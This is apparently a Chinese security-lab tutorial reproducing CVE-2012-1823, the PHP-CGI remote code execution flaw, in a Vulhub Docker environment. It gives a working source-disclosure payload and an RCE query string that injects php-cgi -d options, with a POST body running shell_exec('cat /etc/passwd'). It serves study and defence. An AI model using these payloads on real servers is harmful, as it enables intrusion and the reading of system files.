CGI即通用网关接口(Common Gateway Interface),它是一段程序, 通俗的讲CGI就像是一座桥,把网页和WEB服务器中的执行程序连接起来,它把HTML接收的指令传递给服务器的执行程序,再把服务器执行程序的结果返还给HTML页。
PHP-CGI远程代码执行漏洞是指,用户请求的参数字符串被作为了php-cgi的参数,最终导致远程命令执行的结果。
Vulhub搭建请查看往期文章:
https://mp.weixin.qq.com/s/tpacR-cZAHmKpU1KqiOJ6w
docker-compose up -d
2、开启后查看容器信息:
sudo docker ps
1、Cgi模式下命令行参数有如下一些参数可用
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助
2、源码泄露playload:
/index.php?-s
3、远程命令执行playload:
/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a
// input url解码:(-d allow_url_include=on -d auto_prepend_file=php://input)
// allow_url_include=on 将allow_url_include打开,使得可以文件包含,可以用伪协议
// auto_prepend_file 每次在加载访问的php文件之前,都访问php://input(也就是POST中的参数内容
POST: echo shell_exec('cat /etc/passwd');
执行成功
建议更新至最新版本。
CVE-2017-15715 Apache HTTPD换行解析漏洞
教程 | CVE-2018-9207 jQuery文件上传漏洞复现
原文始发于微信公众号(长风实验室):CVE-2012-1823 PHP-CGI远程代码执行漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论